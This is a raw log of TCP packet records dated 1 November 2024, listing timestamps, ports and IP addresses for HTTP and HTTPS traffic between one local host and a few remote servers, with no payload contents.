Nov 1, 2024 05:52:35.083529949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083542109 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083542109 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.083551884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083566904 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.083569050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083581924 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083585978 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083610058 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.083621025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083631039 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.083647966 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083658934 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.083686113 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.083704948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083740950 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.083745003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083789110 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.083800077 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083837986 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083847046 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.083878040 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.083924055 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083935022 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083957911 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083969116 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.083969116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083981037 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.083992004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084000111 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084006071 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084022045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084028959 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084033966 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084038973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084043980 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084054947 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084060907 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084060907 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084073067 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084074974 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084108114 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084125042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084127903 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084136009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084146023 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084157944 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084166050 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084167957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084178925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084192991 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084192991 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084220886 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084383965 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084394932 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084404945 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084415913 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.084429026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.084455013 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.170538902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.170555115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.170564890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.170576096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.170636892 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.170686007 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.209476948 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.214303017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495390892 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495426893 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495446920 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495445967 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495465994 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495479107 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495482922 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495495081 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495518923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495527029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495528936 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495543003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495564938 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495582104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495589018 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495604038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495613098 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495624065 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495635033 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495639086 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495650053 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495671988 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495676994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495706081 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495706081 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495723963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495743990 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495753050 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495753050 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495774984 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495784044 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495790958 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495805979 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495824099 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495836973 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495845079 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495855093 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495874882 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495881081 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495887995 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495903015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495917082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495918989 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495939970 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495944023 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495968103 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.495970964 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.495992899 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496000051 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496006012 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496028900 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496033907 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496052980 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496054888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496073008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496078014 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496097088 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496105909 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496113062 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496119976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496133089 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496134996 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496146917 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496150017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496167898 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496177912 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496177912 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496208906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496232033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496249914 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496263981 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496269941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496300936 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496304989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496319056 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496326923 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496349096 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496355057 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496381998 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496386051 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496397018 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496408939 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496412992 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496423006 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496428967 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496438026 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496443987 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496452093 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496459961 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496467113 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496474981 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496479988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496495962 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496505976 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496516943 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496525049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496540070 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496546030 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496567011 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496572018 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496591091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496598005 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496604919 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496632099 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496632099 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496638060 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496649981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496668100 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496679068 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496680975 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496692896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496705055 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496706963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496728897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496730089 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496743917 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496748924 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496757984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496773958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496776104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496795893 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496803045 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496809959 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496822119 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496823072 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496838093 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496838093 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496850967 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496853113 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496866941 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496867895 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496881962 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496886969 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496896029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496901035 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496911049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496916056 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496926069 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496932030 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496939898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496947050 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496953964 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496967077 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496967077 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496984005 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.496989965 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.496997118 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.497010946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.497015953 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.497025967 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.497040033 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.497042894 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.497052908 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.497059107 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.497082949 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.618696928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.618756056 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.618761063 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.618776083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.618798018 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.618801117 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.618808985 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.618813038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.618828058 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:35.618843079 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:35.618870020 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:36.063420057 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:36.063450098 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:36.068378925 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:36.068391085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:36.916743040 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:36.916846991 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:36.972564936 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:36.978650093 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:37.260725021 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:37.260740995 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:37.260752916 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:37.260763884 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:37.260787010 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:37.260816097 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:37.263336897 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:37.268110037 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:37.551074028 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:37.551175117 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:37.563673973 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:37.568439007 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:38.351320028 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:38.351393938 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:38.353815079 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:38.359375000 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:38.643044949 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:38.643115997 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:38.644295931 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:38.649080038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:39.422532082 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:39.422655106 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:44.506534100 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:56.747173071 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:56.747190952 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:56.747271061 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:56.747601032 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:56.747610092 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.604450941 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.604532957 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:57.608342886 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:57.608351946 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.608628035 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.616900921 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:57.659327030 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.895505905 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.895531893 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.895550966 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.895597935 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:57.895611048 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.895637989 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:57.895658016 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:57.898174047 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.898205996 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.898231030 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:57.898236036 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.898262024 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:57.898264885 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.898308992 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:57.993216038 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:57.993226051 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:57.993241072 CET	49763	443	192.168.2.4	20.12.23.50
Nov 1, 2024 05:52:57.993246078 CET	443	49763	20.12.23.50	192.168.2.4
Nov 1, 2024 05:52:58.680572987 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:58.680597067 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:58.680695057 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:58.681058884 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:58.681073904 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.421533108 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.421597958 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.423192978 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.423199892 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.423441887 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.432394028 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.479326963 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.658433914 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.658462048 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.658479929 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.658560038 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.658582926 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.658616066 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.658624887 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.678677082 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.678704977 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.678811073 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.678819895 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.679032087 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.776392937 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.776415110 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.776489019 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.776499033 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.776645899 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.795772076 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.795790911 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.795847893 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.795855999 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.795933962 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.797399044 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.797414064 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.797462940 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.797470093 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.797534943 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.799114943 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.799132109 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.799184084 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.799190998 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.799251080 CET	49764	443	192.168.2.4	13.107.246.45
Nov 1, 2024 05:52:59.894388914 CET	443	49764	13.107.246.45	192.168.2.4
Nov 1, 2024 05:52:59.894411087 CET	443	49764	13.107.246.45	192.168.2.4
